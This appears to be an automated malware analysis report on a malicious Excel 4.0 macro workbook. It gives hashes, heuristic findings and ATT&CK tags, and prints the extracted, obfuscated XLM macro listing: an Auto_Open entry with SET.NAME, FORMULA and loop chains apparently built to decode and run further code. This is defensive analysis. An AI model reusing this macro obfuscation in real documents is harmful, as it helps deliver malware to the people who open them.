Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 b678d9359d105424…

MALICIOUS

Office (OLE)

36.0 KB Created: 2020-11-25 10:46:44 Authoring application: Microsoft Excel First seen: 2021-08-25
MD5: 077eb53f3342040256204f5a7ae466ed SHA-1: 0063fa8e33fb467ee830e87adb36fb899c61235c SHA-256: b678d9359d1054245e3f748bbc9ff7d04157585fc986315d1835497bdd1b482d
140 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1203 Exploitation for Client Execution

The file is an Excel 4.0 macro-enabled workbook. Heuristics indicate the presence of an Auto_Open macro and the use of dangerous formula APIs, specifically the RUN function. This suggests the macro is designed to execute arbitrary code, likely to download and run a second-stage payload. No specific IOCs were extracted from the macro content itself.

Heuristics 3

  • Excel 4.0 Auto_Open defined name critical OLE_XLM_AUTOOPEN_DEFINEDNAME
    oletools recovered an Auto_Open / Auto_Close entry from an Excel 4.0 macro sheet. The raw BIFF name can be tokenized or partially opaque to byte-string checks, but the recovered macro listing confirms the workbook has an XLM auto-execution entry.
  • XLM Auto_Open with dangerous formula APIs critical OLE_XLM_DANGEROUS_FN
    Excel 4.0 macro sheet contains an Auto_Open / Auto_Close entry and dangerous XLM formula APIs that can invoke programs, write files, or transfer control without VBA.
  • Excel 4.0 (XLM) macro sheet present medium OLE_XLM_AUTOOPEN
    Workbook contains an Excel 4.0 macro sheet sub-stream — XLM is rarely seen in modern legitimate workbooks and was a major Office malware vector during 2020-2022.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
xlm_macros.txt xlm-macro oletools.olevba.extract_all_macros (XLM macro listing) 6674 bytes
SHA-256: 9441d0a7612cab368de7c5eaec06b49caff8ec2a98038ac9a6cf3b0330ee1429
Preview script
First 1,000 lines of the extracted script
' 0085     14 BOUNDSHEET : Sheet Information - worksheet or dialog sheet, visible -  Sheet
' 0085     18 BOUNDSHEET : Sheet Information - Excel 4.0 macro sheet, visible -  vrqJzaVjG
' 0018     22 LABEL : Cell Value, String Constant - AUAyWmI len=0 
' 0018     23 LABEL : Cell Value, String Constant - built-in-name 1 Auto_Open len=7 ptgRef3d  Sheet!H185 
' 0018     20 LABEL : Cell Value, String Constant - CAjLv len=0 
' 0018     20 LABEL : Cell Value, String Constant - CgJYw len=0 
' 0018     27 LABEL : Cell Value, String Constant - CJONSBvNTCvc len=0 
' 0018     24 LABEL : Cell Value, String Constant - EXSZKbbpf len=0 
' 0018     20 LABEL : Cell Value, String Constant - hynBy len=0 
' 0018     20 LABEL : Cell Value, String Constant - ITGiI len=0 
' 0018     22 LABEL : Cell Value, String Constant - jDXWpvj len=0 
' 0018     21 LABEL : Cell Value, String Constant - JpZqdJ len=0 
' 0018     24 LABEL : Cell Value, String Constant - ktVXxkgQE len=0 
' 0018     25 LABEL : Cell Value, String Constant - LhYuDGPIUJ len=0 
' 0018     26 LABEL : Cell Value, String Constant - lhzfVzwVyuK len=0 
' 0018     25 LABEL : Cell Value, String Constant - qiOEQMYhSR len=0 
' 0018     25 LABEL : Cell Value, String Constant - rTFaPYrNFx len=0 
' 0018     22 LABEL : Cell Value, String Constant - Sopzdrx len=0 
' 0018     22 LABEL : Cell Value, String Constant - sxocBdR len=0 
' 0018     24 LABEL : Cell Value, String Constant - tbcaZmdUX len=0 
' 0018     25 LABEL : Cell Value, String Constant - uXHNeHSMcM len=0 
' 0018     25 LABEL : Cell Value, String Constant - WnFzZHBHNA len=0 
' 0018     24 LABEL : Cell Value, String Constant - xNJYeKsIq len=0 
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' Sheet,Reference,Formula,Value
'  vrqJzaVjG,H92,"SET.NAME("CgJYw",VALUE("0"))",""
'  vrqJzaVjG,H96,"SET.NAME("sxocBdR",CgJYw)",""
'  vrqJzaVjG,H101,"SET.NAME("Sopzdrx",CgJYw)",""
'  vrqJzaVjG,H105,"SET.NAME("rTFaPYrNFx",COUNTA(jDXWpvj))",""
'  vrqJzaVjG,H108,"SET.NAME("hynBy",COUNTA(AUAyWmI))",""
'  vrqJzaVjG,H110,[],""
'  vrqJzaVjG,H114,"SET.NAME("EXSZKbbpf","")",""
'  vrqJzaVjG,H117,"sxocBdR",""
'  vrqJzaVjG,H119,"SET.NAME("uXHNeHSMcM",HLOOKUP("*",jDXWpvj,sxocBdR,FALSE))",""
'  vrqJzaVjG,H123,"tbcaZmdUX",""
'  vrqJzaVjG,H128,"SET.NAME("xNJYeKsIq",CgJYw)",""
'  vrqJzaVjG,H131,[],""
'  vrqJzaVjG,H134,"xNJYeKsIq",""
'  vrqJzaVjG,H139,"ITGiI",""
'  vrqJzaVjG,H144,"JpZqdJ",""
'  vrqJzaVjG,H149,"lhzfVzwVyuK",""
'  vrqJzaVjG,H152,"SET.NAME("WnFzZHBHNA",VALUE(HLOOKUP("*",AUAyWmI,lhzfVzwVyuK,FALSE)))",""
'  vrqJzaVjG,H156,"CAjLv",""
'  vrqJzaVjG,H159,"EXSZKbbpf",""
'  vrqJzaVjG,H164,"Sopzdrx",""
'  vrqJzaVjG,H166,NEXT(),""
'  vrqJzaVjG,H171,"qiOEQMYhSR",""
'  vrqJzaVjG,H175,"SET.NAME("f",INT(T(FORMULA(T(EXSZKbbpf)&"",""&T(qiOEQMYhSR)))))",""
'  vrqJzaVjG,H178,"CJONSBvNTCvc",""
'  vrqJzaVjG,H180,NEXT(),""
'  vrqJzaVjG,H182,RETURN(),""
'  vrqJzaVjG,H206,"SET.NAME("ktVXxkgQE",H92)",""
'  vrqJzaVjG,H209,"jDXWpvj",""
'  vrqJzaVjG,H211,"SET.NAME("AUAyWmI",R84C13)",""
'  vrqJzaVjG,H213,"SET.NAME("CJONSBvNTCvc",219)",""
'  vrqJzaVjG,H215,"SET.NAME("LhYuDGPIUJ",8)",""
'  vrqJzaVjG,H218,ktVXxkgQE(),""
'  vrqJzaVjG,H219,HALT(),""